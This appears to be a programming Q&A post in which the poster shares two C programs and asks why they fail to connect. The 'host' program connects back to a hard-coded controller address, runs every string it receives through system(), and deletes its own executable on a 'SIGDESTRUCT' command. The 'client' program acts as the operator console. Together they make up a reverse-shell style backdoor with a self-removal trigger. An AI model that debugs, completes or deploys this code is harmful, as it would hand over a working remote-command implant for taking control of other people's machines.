I coded two programs. One is the client, the other one is the program the host has to run.
client.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define COMMAND_LIMIT 1024
//#define RECEIVE_LIMIT 500
#define zero(_P) memset(&_P,0,sizeof(_P))
int main(int argc, char **argv){
if(argc==1){
puts("format: [executable] [port]");
return 0;
}
int port=atoi(*(argv+1));
char send_buffer[COMMAND_LIMIT+1];
//char receive_buffer[RECEIVE_LIMIT];
struct sockaddr_in server;
zero(server);
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(INADDR_ANY);
server.sin_port=htons(port);
int listener, connector;
listener=socket(AF_INET, SOCK_STREAM, 0);
bind(listener, (struct sockaddr*)&server,sizeof(server));
if(listen(listener, 1) == -1){
puts("Failed to listen");
return -1;
}
connector=accept(listener, (struct sockaddr*)NULL ,NULL);
puts("Host found.");
while(1){
puts("Enter command:");
scanf("%s",send_buffer);
int wrlen=write(connector,send_buffer,strlen(send_buffer));
if(wrlen==-1){
printf("Connection has been closed. Stopping program.");
close(connector);
return 0;
}
}
return 0;
}
host.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define PORT 2333 //default port, change it.
#define RECEIVE_LIMIT 1024
#define CLIENT_IP "127.0.0.1" //changed this for stackoverflow
#define zero(_P) memset(&_P,0,sizeof(_P))
int main(int argc, char **argv){
int sockets, n=0;
char receive_buffer[RECEIVE_LIMIT+1];
struct sockaddr_in self;
memset(receive_buffer, '0' ,sizeof(receive_buffer));
if((sockets = socket(AF_INET, SOCK_STREAM, 0))< 0){
puts("Error : Could not create socket.");
return 1;
}
self.sin_family=AF_INET;
self.sin_port=htons(PORT);
self.sin_addr.s_addr=inet_addr(CLIENT_IP);
if(connect(sockets, (struct sockaddr *)&self, sizeof(self)<0)){
printf("\n Error : Connect Failed \n");
return 1;
}
while((n = read(sockets, receive_buffer, sizeof(receive_buffer)-1)) > 0){
if(n<0){
printf("\n Read Error \n");
}
receive_buffer[n]='\0';
if(strcmp("SIGDESTRUCT",receive_buffer)==0){
remove(argv[0]);
return 0;
}
system(receive_buffer);
printf("\n");
}
return 0;
}
The client runs fine but host.c can't connect to client.c. Both compiled though, without any errors. I tried to debug it, but everything looks fine to me. The client allows every address to connect to it and the host tries to connect to it.